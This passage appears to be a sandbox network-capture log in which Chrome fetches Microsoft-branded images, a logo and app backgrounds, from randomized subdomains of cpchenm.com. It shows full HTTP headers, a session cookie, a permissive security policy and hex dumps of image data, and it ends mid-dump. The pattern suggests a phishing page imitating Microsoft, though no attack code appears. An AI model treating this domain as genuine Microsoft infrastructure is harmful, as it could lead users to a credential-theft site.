2024-11-12 16:30:02 UTC	424	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 71 71 68 6f 73 74 3d 76 69 77 37 4d 31 79 64 72 44 76 69 53 42 58 6c 6a 6b 58 69 68 67 39 6e 6d 6c 64 51 67 55 49 6c 55 6d 6e 6e 43 69 6a 63 4c 58 4d 3b 20 50 61 74 68 3d 2f 3b 20 44 6f 6d 61 69 6e 3d 63 70 63 68 65 6e 6d 2e 63 6f 6d 3b 20 53 65 63 75 72 65 3b 20 53 61 6d 65 53 69 74 65 3d 4e 6f 6e 65 0d 0a 58 2d 41 7a 75 72 65 2d 52 65 66 3a 20 32 30 32 34 31 31 31 32 54 31 36 33 30 30 31 5a 2d 31 35 34 38 37 39 39 39 64 38 37 74 77 66 71 32 68 43 31 57 41 57 64 36 71 63 30 30 30 30 30 30 30 36 67 30 30 30 30 30 30 30 30 30 32 74 70 62 0d 0a 58 2d 43 61 63 68 65 3a 20 54 43 50 5f 48 49 54 0d 0a 58 2d 46 64 2d 49 6e 74 2d 52 6f 78 79 2d 50 75 72 67 65 69 64 3a 20 34 35 35 34 36 39 31 0d 0a 58 2d 4d 73 2d 42 6c 6f 62 2d Data Ascii: Set-Cookie: qqhost=viw7M1ydrDviSBXljkXihg9nmldQgUIlUmnnCijcLXM; Path=/; Domain=cpchenm.com; Secure; SameSite=NoneX-Azure-Ref: 20241112T163001Z-15487999d87twfq2hC1WAWd6qc00000006g0000000002tpbX-Cache: TCP_HITX-Fd-Int-Roxy-Purgeid: 4554691X-Ms-Blob-
2024-11-12 16:30:02 UTC	987	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 48 00 48 00 00 ff e1 00 66 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 04 01 1a 00 05 00 00 00 01 00 00 00 3e 01 1b 00 05 00 00 00 01 00 00 00 46 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 10 00 00 00 4e 00 00 00 00 00 00 00 48 00 00 00 01 00 00 00 48 00 00 00 01 70 61 69 6e 74 2e 6e 65 74 20 34 2e 32 2e 39 00 ff db 00 43 00 02 01 01 01 01 01 02 01 01 01 02 02 02 02 02 04 03 02 02 02 02 05 04 04 03 04 06 05 06 06 06 05 06 06 06 07 09 08 06 07 09 07 06 06 08 0b 08 09 0a 0a 0a 0a 0a 06 08 0b 0c 0b 0a 0c 09 0a 0a 0a ff db 00 43 01 02 02 02 02 02 02 05 03 03 05 0a 07 06 07 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a Data Ascii: JFIFHHfExifMM*>F(1NHHpaint.net 4.2.9CC

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.22	49241	2.59.163.43	443	3592	C:\Program Files (x86)\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:30:01 UTC	729	OUT	GET /shared/1.0/content/images/appbackgrounds/49_6ffe0a92d779c878835b40171ffc2e13.jpg HTTP/1.1 Host: tvrcedjrhte.cpchenm.com Connection: keep-alive sec-ch-ua: "Not_A Brand";v="99", "Google Chrome";v="109", "Chromium";v="109" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://tvrceocprq.cpchenm.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qqhost=viw7M1ydrDviSBXljkXihg9nmldQgUIlUmnnCijcLXM
2024-11-12 16:30:02 UTC	1113	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://tvrceocprq.cpchenm.com Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Cache-Control: public, max-age=31536000 Cache-Control: no-cache="Set-Cookie" Content-Security-Policy: default-src * data: blob: filesystem: about: ws: wss: 'unsafe-inline' 'unsafe-eval'; script-src * data: blob: 'unsafe-inline' 'unsafe-eval'; connect-src * data: blob: 'unsafe-inline'; img-src * data: blob: 'unsafe-inline'; frame-ancestors 'self' * http://* https://* file://* about: javascript: data: blob: filesystem:; frame-src 'self' * http://* https://* file://* about: javascript: data: blob: filesystem:; style-src * data: blob: filesystem: 'unsafe-inline'; font-src * data: blob: 'unsafe-inline'; Content-Type: image/jpeg Cross-Origin-Resource-Policy: cross-origin Date: Tue, 12 Nov 2024 16:30:01 GMT Etag: 0x8DB5C3F4584F323 Last-Modified: Wed, 24 May 2023 10:11:42 GMT
2024-11-12 16:30:02 UTC	452	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 71 71 68 6f 73 74 3d 76 69 77 37 4d 31 79 64 72 44 76 69 53 42 58 6c 6a 6b 58 69 68 67 39 6e 6d 6c 64 51 67 55 49 6c 55 6d 6e 6e 43 69 6a 63 4c 58 4d 3b 20 50 61 74 68 3d 2f 3b 20 44 6f 6d 61 69 6e 3d 63 70 63 68 65 6e 6d 2e 63 6f 6d 3b 20 53 65 63 75 72 65 3b 20 53 61 6d 65 53 69 74 65 3d 4e 6f 6e 65 0d 0a 58 2d 41 7a 75 72 65 2d 52 65 66 3a 20 32 30 32 34 31 31 31 32 54 31 36 33 30 30 31 5a 2d 31 35 34 38 37 39 39 39 64 38 37 62 38 62 37 6d 68 43 31 57 41 57 67 66 63 6e 30 30 30 30 30 30 30 30 67 67 30 30 30 30 30 30 30 30 73 65 78 74 0d 0a 58 2d 43 61 63 68 65 3a 20 54 43 50 5f 48 49 54 0d 0a 58 2d 43 61 63 68 65 2d 49 6e 66 6f 3a 20 4c 31 5f 54 32 0d 0a 58 2d 46 64 2d 49 6e 74 2d 52 6f 78 79 2d 50 75 72 67 65 69 64 Data Ascii: Set-Cookie: qqhost=viw7M1ydrDviSBXljkXihg9nmldQgUIlUmnnCijcLXM; Path=/; Domain=cpchenm.com; Secure; SameSite=NoneX-Azure-Ref: 20241112T163001Z-15487999d87b8b7mhC1WAWgfcn00000000gg00000000sextX-Cache: TCP_HITX-Cache-Info: L1_T2X-Fd-Int-Roxy-Purgeid
2024-11-12 16:30:02 UTC	1972	IN	Data Raw: 34 34 32 64 0d 0a ff d8 ff e1 09 50 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 31 34 32 20 37 39 2e 31 36 30 39 32 34 2c 20 32 30 31 37 2f 30 37 2f 31 33 2d 30 31 3a 30 36 3a 33 39 20 20 20 20 20 20 20 20 22 3e 20 3c 72 64 66 3a 52 44 46 20 78 6d 6c 6e 73 3a 72 64 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 30 32 2f 32 32 2d 72 Data Ascii: 442dPhttp://ns.adobe.com/xap/1.0/<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c142 79.160924, 2017/07/13-01:06:39 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-r
2024-11-12 16:30:02 UTC	559	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii:
2024-11-12 16:30:02 UTC	4716	IN	Data Raw: 13 0d 0d 0e 0d 0d 13 18 11 0f 0f 0f 0f 11 18 16 17 14 14 14 17 16 1a 1a 18 18 1a 1a 21 21 20 21 21 27 27 27 27 27 27 27 27 27 27 ff dd 00 04 00 78 ff ee 00 0e 41 64 6f 62 65 00 64 c0 00 00 00 01 ff c0 00 11 08 04 38 07 80 03 00 22 00 01 11 01 02 11 01 ff c4 00 55 00 01 01 01 01 00 00 00 00 00 00 00 00 00 00 00 00 00 01 07 02 01 01 01 01 01 00 00 00 00 00 00 00 00 00 00 00 00 00 01 02 03 10 01 01 01 01 01 00 00 00 00 00 00 00 00 00 00 00 00 11 01 41 21 11 01 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 ff da 00 0c 03 00 00 01 11 02 11 00 3f 00 db 40 61 d8 00 00 00 10 40 00 00 40 54 00 00 00 10 15 05 04 50 14 00 00 00 00 00 00 00 01 0a 0a 25 40 52 a0 0b 44 01 69 50 11 44 01 44 01 50 01 44 01 44 50 00 00 00 00 54 00 00 00 00 41 44 01 41 14 51 01 14 45 Data Ascii: !! !!''''''''''xAdobed8"UA!?@a@@TP%@RDiPDDPDDPTADAQE
2024-11-12 16:30:03 UTC	5895	IN	Data Raw: 40 00 00 00 00 00 00 00 14 00 00 40 00 00 00 00 00 00 00 00 00 00 00 40 04 00 14 41 15 00 00 00 00 00 00 00 00 00 10 01 00 5c 45 50 40 44 00 14 00 10 50 44 15 00 00 04 54 00 04 41 15 00 00 50 04 00 00 00 40 10 15 00 00 04 00 00 00 11 40 45 10 1d 08 a2 80 00 8a 02 28 00 8a 02 2e 08 0e 84 50 00 00 00 51 14 10 54 14 5c 40 14 00 00 05 11 40 00 02 82 8a 22 88 00 00 02 80 00 a8 a0 00 0f ff d4 da 80 61 d4 00 00 01 c8 00 00 00 00 00 00 02 80 00 8a 80 22 a2 00 00 00 00 00 00 00 00 00 00 00 08 02 88 02 88 02 a0 28 00 00 00 00 20 a0 00 00 00 00 00 00 a0 a0 20 02 00 0a 80 00 00 02 e2 00 a2 00 a0 08 00 00 00 00 a0 00 0a 8a 00 00 00 00 00 00 02 80 80 00 00 20 00 00 00 00 00 00 00 0a 8a 00 02 00 00 00 00 00 00 00 00 00 00 00 02 00 00 02 00 a2 00 00 00 08 00 00 00 00 00 Data Ascii: @@@A\EP@DPDTAP@@E(.PQT\@@"a"(
2024-11-12 16:30:03 UTC	4317	IN	Data Raw: 18 28 0a 8a 8a 00 00 00 00 00 08 00 02 80 28 00 00 08 02 a0 86 0a 00 02 8a 00 00 80 08 00 00 00 0a 00 a0 08 00 00 0a 80 22 80 00 00 00 02 00 00 00 8a 00 00 00 00 00 00 00 80 00 00 0a 00 80 00 00 00 02 00 00 00 00 2a 2a 0a 00 00 20 a8 00 08 00 00 00 00 00 00 00 20 02 8a 82 80 80 00 00 00 00 00 00 00 00 00 00 00 80 28 a0 00 00 00 02 08 a2 88 28 00 00 00 00 00 02 82 00 00 00 00 a0 00 80 00 00 a0 00 00 00 00 3f ff d0 db 11 51 b6 40 04 11 40 40 14 00 04 00 00 00 00 00 00 4d 50 47 2a 20 28 00 82 a0 00 00 00 20 a8 00 00 00 a8 44 50 1c 8b 11 40 00 00 00 00 00 00 00 00 00 00 01 40 00 00 10 00 00 00 14 00 05 14 00 00 10 00 05 00 00 00 00 05 04 05 45 00 01 40 00 00 00 10 01 40 00 50 01 05 45 40 00 00 00 00 51 40 00 10 11 50 00 00 00 14 01 40 10 00 00 04 14 45 00 00 Data Ascii: (("** ((?Q@@@MPG* ( DP@@E@@PE@Q@P@E
2024-11-12 16:30:03 UTC	7	IN	Data Raw: 0d 0a 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.22	49245	2.59.163.43	443	3592	C:\Program Files (x86)\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:30:03 UTC	726	OUT	GET /shared/1.0/content/images/microsoft_logo_564db913a7fa0ca42727161c6d031bef.svg HTTP/1.1 Host: tvrcedjrhte.cpchenm.com Connection: keep-alive sec-ch-ua: "Not_A Brand";v="99", "Google Chrome";v="109", "Chromium";v="109" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://tvrceocprq.cpchenm.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qqhost=viw7M1ydrDviSBXljkXihg9nmldQgUIlUmnnCijcLXM
2024-11-12 16:30:03 UTC	1133	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://tvrceocprq.cpchenm.com Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Cache-Control: public, max-age=31536000 Cache-Control: no-cache="Set-Cookie" Content-Security-Policy: default-src * data: blob: filesystem: about: ws: wss: 'unsafe-inline' 'unsafe-eval'; script-src * data: blob: 'unsafe-inline' 'unsafe-eval'; connect-src * data: blob: 'unsafe-inline'; img-src * data: blob: 'unsafe-inline'; frame-ancestors 'self' * http://* https://* file://* about: javascript: data: blob: filesystem:; frame-src 'self' * http://* https://* file://* about: javascript: data: blob: filesystem:; style-src * data: blob: filesystem: 'unsafe-inline'; font-src * data: blob: 'unsafe-inline'; Content-Type: image/svg+xml Cross-Origin-Resource-Policy: cross-origin Date: Tue, 12 Nov 2024 16:30:03 GMT Etag: 0x8DB5C3F4911527F Last-Modified: Wed, 24 May 2023 10:11:48 GMT
2024-11-12 16:30:03 UTC	431	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 71 71 68 6f 73 74 3d 76 69 77 37 4d 31 79 64 72 44 76 69 53 42 58 6c 6a 6b 58 69 68 67 39 6e 6d 6c 64 51 67 55 49 6c 55 6d 6e 6e 43 69 6a 63 4c 58 4d 3b 20 50 61 74 68 3d 2f 3b 20 44 6f 6d 61 69 6e 3d 63 70 63 68 65 6e 6d 2e 63 6f 6d 3b 20 53 65 63 75 72 65 3b 20 53 61 6d 65 53 69 74 65 3d 4e 6f 6e 65 0d 0a 58 2d 41 7a 75 72 65 2d 52 65 66 3a 20 32 30 32 34 31 31 31 32 54 31 36 33 30 30 33 5a 2d 31 35 34 38 37 39 39 39 64 38 37 62 38 62 37 6d 68 43 31 57 41 57 67 66 63 6e 30 30 30 30 30 30 30 30 67 67 30 30 30 30 30 30 30 30 73 66 33 72 0d 0a 58 2d 43 61 63 68 65 3a 20 54 43 50 5f 48 49 54 0d 0a 58 2d 46 64 2d 49 6e 74 2d 52 6f 78 79 2d 50 75 72 67 65 69 64 3a 20 34 35 35 34 36 39 31 0d 0a 58 2d 4d 73 2d 42 6c 6f 62 2d Data Ascii: Set-Cookie: qqhost=viw7M1ydrDviSBXljkXihg9nmldQgUIlUmnnCijcLXM; Path=/; Domain=cpchenm.com; Secure; SameSite=NoneX-Azure-Ref: 20241112T163003Z-15487999d87b8b7mhC1WAWgfcn00000000gg00000000sf3rX-Cache: TCP_HITX-Fd-Int-Roxy-Purgeid: 4554691X-Ms-Blob-
2024-11-12 16:30:03 UTC	1973	IN	Data Raw: 65 34 33 0d 0a 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 31 30 38 22 20 68 65 69 67 68 74 3d 22 32 34 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 31 30 38 20 32 34 22 3e 3c 74 69 74 6c 65 3e 61 73 73 65 74 73 3c 2f 74 69 74 6c 65 3e 3c 70 61 74 68 20 64 3d 22 4d 34 34 2e 38 33 36 2c 34 2e 36 56 31 38 2e 34 68 2d 32 2e 34 56 37 2e 35 38 33 48 34 32 2e 34 4c 33 38 2e 31 31 39 2c 31 38 2e 34 48 33 36 2e 35 33 31 4c 33 32 2e 31 34 32 2c 37 2e 35 38 33 68 2d 2e 30 32 39 56 31 38 2e 34 48 32 39 2e 39 56 34 2e 36 68 33 2e 34 33 36 4c 33 37 2e 33 2c 31 34 2e 38 33 68 2e 30 35 38 4c 34 31 2e 35 34 35 2c 34 2e 36 5a 6d 32 2c 31 2e 30 34 39 61 31 2e 32 36 38 2c 31 2e Data Ascii: e43<svg xmlns="http://www.w3.org/2000/svg" width="108" height="24" viewBox="0 0 108 24"><title>assets</title><path d="M44.836,4.6V18.4h-2.4V7.583H42.4L38.119,18.4H36.531L32.142,7.583h-.029V18.4H29.9V4.6h3.436L37.3,14.83h.058L41.545,4.6Zm2,1.049a1.268,1.
2024-11-12 16:30:03 UTC	559	IN	Data Raw: 2e 37 39 2c 30 2c 30 2c 30 2c 2e 33 37 35 2d 2e 37 34 31 2c 31 2e 30 32 39 2c 31 2e 30 32 39 2c 30 2c 30 2c 30 2d 2e 33 39 2d 2e 38 31 33 2c 35 2e 37 36 38 2c 35 2e 37 36 38 2c 30 2c 30 2c 30 2d 31 2e 34 37 37 2d 2e 37 36 35 2c 34 2e 35 36 34 2c 34 2e 35 36 34 2c 30 2c 30 2c 31 2d 31 2e 38 32 39 2d 31 2e 32 31 33 2c 32 2e 36 35 35 2c 32 2e 36 35 35 2c 30 2c 30 2c 31 2d 2e 35 33 39 2d 31 2e 37 31 33 2c 32 2e 37 30 36 2c 32 2e 37 30 36 2c 30 2c 30 2c 31 2c 31 2e 30 36 33 2d 32 2e 32 41 34 2e 32 34 33 2c 34 2e 32 34 33 2c 30 2c 30 2c 31 2c 38 31 2e 35 2c 38 2e 32 35 36 61 36 2e 36 36 33 2c 36 2e 36 36 33 2c 30 2c 30 2c 31 2c 31 2e 31 36 34 2e 31 31 35 2c 35 2e 31 36 31 2c 35 2e 31 36 31 2c 30 2c 30 2c 31 2c 31 2e 30 37 38 2e 33 76 32 2e 32 31 34 61 34 2e 39 Data Ascii: .79,0,0,0,.375-.741,1.029,1.029,0,0,0-.39-.813,5.768,5.768,0,0,0-1.477-.765,4.564,4.564,0,0,1-1.829-1.213,2.655,2.655,0,0,1-.539-1.713,2.706,2.706,0,0,1,1.063-2.2A4.243,4.243,0,0,1,81.5,8.256a6.663,6.663,0,0,1,1.164.115,5.161,5.161,0,0,1,1.078.3v2.214a4.9
2024-11-12 16:30:03 UTC	1131	IN	Data Raw: 36 35 32 2d 31 2e 33 35 32 41 34 2e 39 38 37 2c 34 2e 39 38 37 2c 30 2c 30 2c 31 2c 38 35 2e 32 37 38 2c 31 33 2e 36 6d 32 2e 34 32 35 2d 2e 30 37 37 61 33 2e 35 33 37 2c 33 2e 35 33 37 2c 30 2c 30 2c 30 2c 2e 37 2c 32 2e 33 36 38 2c 32 2e 35 30 36 2c 32 2e 35 30 36 2c 30 2c 30 2c 30 2c 32 2e 30 31 31 2e 38 31 38 2c 32 2e 33 34 35 2c 32 2e 33 34 35 2c 30 2c 30 2c 30 2c 31 2e 39 33 34 2d 2e 38 31 38 2c 33 2e 37 38 33 2c 33 2e 37 38 33 2c 30 2c 30 2c 30 2c 2e 36 36 34 2d 32 2e 34 32 35 2c 33 2e 36 35 31 2c 33 2e 36 35 31 2c 30 2c 30 2c 30 2d 2e 36 38 38 2d 32 2e 34 31 31 2c 32 2e 33 39 2c 32 2e 33 39 2c 30 2c 30 2c 30 2d 31 2e 39 33 2d 2e 38 31 33 2c 32 2e 34 33 39 2c 32 2e 34 33 39 2c 30 2c 30 2c 30 2d 31 2e 39 38 37 2e 38 35 32 2c 33 2e 37 30 37 2c 33 2e Data Ascii: 652-1.352A4.987,4.987,0,0,1,85.278,13.6m2.425-.077a3.537,3.537,0,0,0,.7,2.368,2.506,2.506,0,0,0,2.011.818,2.345,2.345,0,0,0,1.934-.818,3.783,3.783,0,0,0,.664-2.425,3.651,3.651,0,0,0-.688-2.411,2.39,2.39,0,0,0-1.93-.813,2.439,2.439,0,0,0-1.987.852,3.707,3.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.22	49244	2.59.163.43	443	3592	C:\Program Files (x86)\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:30:03 UTC	723	OUT	GET /shared/1.0/content/images/applogos/53_7a3c80bf9694448bac31a9589d2e9e92.png HTTP/1.1 Host: tvrcedjrhte.cpchenm.com Connection: keep-alive sec-ch-ua: "Not_A Brand";v="99", "Google Chrome";v="109", "Chromium";v="109" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://tvrceocprq.cpchenm.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qqhost=viw7M1ydrDviSBXljkXihg9nmldQgUIlUmnnCijcLXM
2024-11-12 16:30:03 UTC	1112	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://tvrceocprq.cpchenm.com Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Cache-Control: public, max-age=31536000 Cache-Control: no-cache="Set-Cookie" Content-Security-Policy: default-src * data: blob: filesystem: about: ws: wss: 'unsafe-inline' 'unsafe-eval'; script-src * data: blob: 'unsafe-inline' 'unsafe-eval'; connect-src * data: blob: 'unsafe-inline'; img-src * data: blob: 'unsafe-inline'; frame-ancestors 'self' * http://* https://* file://* about: javascript: data: blob: filesystem:; frame-src 'self' * http://* https://* file://* about: javascript: data: blob: filesystem:; style-src * data: blob: filesystem: 'unsafe-inline'; font-src * data: blob: 'unsafe-inline'; Content-Type: image/png Cross-Origin-Resource-Policy: cross-origin Date: Tue, 12 Nov 2024 16:30:03 GMT Etag: 0x8DB5C3F475BAFC0 Last-Modified: Wed, 24 May 2023 10:11:45 GMT
2024-11-12 16:30:03 UTC	431	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 71 71 68 6f 73 74 3d 76 69 77 37 4d 31 79 64 72 44 76 69 53 42 58 6c 6a 6b 58 69 68 67 39 6e 6d 6c 64 51 67 55 49 6c 55 6d 6e 6e 43 69 6a 63 4c 58 4d 3b 20 50 61 74 68 3d 2f 3b 20 44 6f 6d 61 69 6e 3d 63 70 63 68 65 6e 6d 2e 63 6f 6d 3b 20 53 65 63 75 72 65 3b 20 53 61 6d 65 53 69 74 65 3d 4e 6f 6e 65 0d 0a 58 2d 41 7a 75 72 65 2d 52 65 66 3a 20 32 30 32 34 31 31 31 32 54 31 36 33 30 30 33 5a 2d 31 35 34 38 37 39 39 39 64 38 37 74 77 66 71 32 68 43 31 57 41 57 64 36 71 63 30 30 30 30 30 30 30 36 67 30 30 30 30 30 30 30 30 30 32 74 76 67 0d 0a 58 2d 43 61 63 68 65 3a 20 54 43 50 5f 48 49 54 0d 0a 58 2d 46 64 2d 49 6e 74 2d 52 6f 78 79 2d 50 75 72 67 65 69 64 3a 20 34 35 35 34 36 39 31 0d 0a 58 2d 4d 73 2d 42 6c 6f 62 2d Data Ascii: Set-Cookie: qqhost=viw7M1ydrDviSBXljkXihg9nmldQgUIlUmnnCijcLXM; Path=/; Domain=cpchenm.com; Secure; SameSite=NoneX-Azure-Ref: 20241112T163003Z-15487999d87twfq2hC1WAWd6qc00000006g0000000002tvgX-Cache: TCP_HITX-Fd-Int-Roxy-Purgeid: 4554691X-Ms-Blob-
2024-11-12 16:30:03 UTC	1994	IN	Data Raw: 31 34 31 33 0d 0a 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 56 00 00 00 48 08 06 00 00 00 ad 04 dd dc 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 25 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 31 34 38 20 37 39 2e 31 36 34 30 33 36 2c 20 32 30 31 39 2f 30 38 2f 31 33 2d 30 31 3a 30 Data Ascii: 1413PNGIHDRVHtEXtSoftwareAdobe ImageReadyqe<%iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c148 79.164036, 2019/08/13-01:0
2024-11-12 16:30:03 UTC	559	IN	Data Raw: fa 73 67 cf 96 53 89 55 90 77 97 cc 75 79 79 79 f5 ba 55 11 b2 bf 3d 73 c6 cc 0b 62 92 2b 52 7d 56 4b cb bf d3 65 df 49 5c fb 7b f1 ac 5d 5e b5 89 69 20 0b f0 da b5 6b af 5d be dc be 8c 98 e2 8b 09 3e 77 c2 ff 8f 17 da 39 ec 7c b4 e5 e6 ce f9 87 9f 0a 03 05 dd 3e a7 80 dc f4 fc 85 f3 95 94 7b 56 3c b5 e2 97 76 48 f4 c1 f1 d7 68 68 f1 1f f7 51 bc 55 cb b2 26 fb a5 21 50 f0 9a 92 9d b5 bd b2 b2 84 38 db 7a 79 f4 ae d4 6f 0b a2 eb 16 13 4c b6 8e 67 e9 04 a1 4d 3c 3f de 78 63 59 d9 3e 4c bc 26 52 7b f1 cd 78 7d ea 45 8a db e7 ca f8 50 a9 8d 82 90 e8 48 a7 e6 41 8c 15 65 e1 a8 de aa 9f 66 98 e5 cb 97 1f a6 5c df dd dd bd 83 17 2c 0c 1b 38 85 02 93 33 8a f7 98 aa 97 60 9f 7a 21 3c bc 5e b7 4f bd 08 ba 7d 3a c3 22 c7 8e 1d fd 1b 85 54 21 fd 1c bd 52 7c 40 ac 28 Data Ascii: sgSUwuyyyU=sb+R}VKeI\{]^i k]>w9\|>{V<vHhhQU&!P8zyoLgM<?xcY>L&R{x}EPHAef\,83`z!<^O}:"T!R\|@(
2024-11-12 16:30:03 UTC	2599	IN	Data Raw: c4 9a 4c 10 fc c8 72 7b de bc 1e 31 03 f9 f2 a3 19 9e 41 a4 25 63 03 fd fd e3 ae 46 2b a4 28 89 fe df 9d 3b 77 7e 28 9b 79 87 9d d0 70 38 fc 9d cc b5 99 99 59 4d 7e b1 1f cb 52 95 4d 1c 48 d9 16 3e b9 70 0f b2 0c c5 f2 da f6 c4 e2 7a 3f 97 2e fd f7 77 c8 f0 a3 92 10 62 92 a8 65 e1 c4 71 09 ba 7d 5e 8f 07 c8 aa 64 e4 64 43 c4 da 77 ef 9e b4 30 1c 22 f4 33 3e 26 8e 61 7d ed a4 09 8c 44 83 3b a1 c7 30 1c 6b 97 52 57 a4 a2 20 1c 71 34 f1 51 90 8e fb 81 f7 16 8b ad fc 03 6c 95 71 28 86 27 f7 fd 20 90 33 67 ce a0 2e 71 2e e5 f7 5a 5b 5b 6b 26 28 16 65 0f ba 7d ba 81 cd aa c6 c6 23 a4 4d fb b1 12 70 6c 0c c5 58 29 01 ee c9 93 27 f5 f8 f9 e3 c9 9e 3e 